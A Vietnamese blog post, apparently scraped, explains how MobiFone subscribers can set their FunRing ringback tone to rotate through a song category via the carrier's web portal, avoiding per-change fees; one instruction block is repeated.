Tại mục Cài đặt người sử dụng, bạn chọn Cài đặt mặc định. Phần Lựa chọn có 4 tùy chọn, trong đó có 3 lựa chọn dưới đây có số lượng bài nhiều nhất. Và trong lần cài đặt đầu tiên, bạn nên lựa chọn để có thể thay đổi được nhiều nhạc chuông nhất:
• Ngẫu nhiên: Lặp toàn bộ bài hát trong mục chọn theo chế độ thay đổi ngẫu nhiên khi có người gọi.
• Thứ tự: Lặp toàn bộ bài hát trong mục chọn theo chế độ thay đổi lần lượt khi có người gọi.
• Hay nhất: Bao gồm các FunRing hay nhất.
Sau khi lựa chọn hoàn tất, bạn chọn Gừi để thiết lập.
Thí dụ: bạn muốn FunRing của mình theo chế độ lập ngẫu nhiên toàn bộ các bài hát trong mục Bài hát Việt Nam thì bạn chọn tại phần Lựa chọn là Ngẫu nhiên, phần list là Bai hat Viet Nam. Sau đó nhấn Gừi.
Bạn thấy thế nào, thừ dùng một máy khác gọi vào máy bạn khoảng 5 lần xem. Đảm bảo là 5 lần gọi là 5 bài nhạc FunRing đó.
REF: http://xahoithongtin.com.vn/home/254/9224/thay-nhac-cho-funring-mien-phi.html
 |
Để đăng ký, thay đổi bài hát nhạc chờ, bạn gởi tin nhắn tới tổng đài 9224, bạn sẽ bị tính cước đăng ký và thay đổi (2.000 đồng/lần). Chính vì điều này mà nhiều người sử dụng hạn chế thay đổi để tiết kiệm.
Tuy nhiên, có một cách cho bạn thay đổi nhạc chờ FunRing theo từng bản nhạc, cho từng lần gọi mà không phải mất phí thay đổi mà chỉ mất phí thuê bao ngày. Khi đó, nhạc chờ của bạn sẽ thay đổi liên tục mỗi khi có người gọi. Rất hay và thú vị cho người sử dụng dịch vụ này vì mỗi lần thay đổi họ không phải mất phí và không cố định cho một bản nhạc.
Để cài đặt theo cách trên, bạn sử dụng mật khẩu do MobiFone gởi đến (bao gồm 4 chữ số) khi đăng ký sử dụng dịch vụ FunRing và đăng nhập vào trang web FunRing tại www.mobifone.com.vn/crbtuser_v/ với username là số điện thoại đăng ký và password là số do MobiFone cung cấp.
 |
Tiếp theo, bạn chọn vào một mục bất kỳ trong phần FunRing Menu như FunRing mới, FunRing được yêu thích, Bài hát Việt Nam, Bài hát quốc tế, và Hiệu ứng âm thanh. Bạn nhìn bên góc phải sẽ thấy thêm một menu là cài đặt nâng cao. Bạn click chọn vào mục này.
Tại mục Cài đặt người sử dụng, bạn chọn Cài đặt mặc định. Phần Lựa chọn có 4 tùy chọn, trong đó có 3 lựa chọn dưới đây có số lượng bài nhiều nhất. Và trong lần cài đặt đầu tiên, bạn nên lựa chọn để có thể thay đổi được nhiều nhạc chuông nhất:
• Ngẫu nhiên: Lặp toàn bộ bài hát trong mục chọn theo chế độ thay đổi ngẫu nhiên khi có người gọi.
• Thứ tự: Lặp toàn bộ bài hát trong mục chọn theo chế độ thay đổi lần lượt khi có người gọi.
• Hay nhất: Bao gồm các FunRing hay nhất.
Sau khi lựa chọn hoàn tất, bạn chọn Gừi để thiết lập.
Thí dụ: bạn muốn FunRing của mình theo chế độ lập ngẫu nhiên toàn bộ các bài hát trong mục Bài hát Việt Nam thì bạn chọn tại phần Lựa chọn là Ngẫu nhiên, phần list là Bai hat Viet Nam. Sau đó nhấn Gừi.
Bạn thấy thế nào, thừ dùng một máy khác gọi vào máy bạn khoảng 5 lần xem. Đảm bảo là 5 lần gọi là 5 bài nhạc FunRing đó.
REF: http://xahoithongtin.com.vn/home/254/9224/thay-nhac-cho-funring-mien-phi.html
Subscribe to:
Posts (Atom)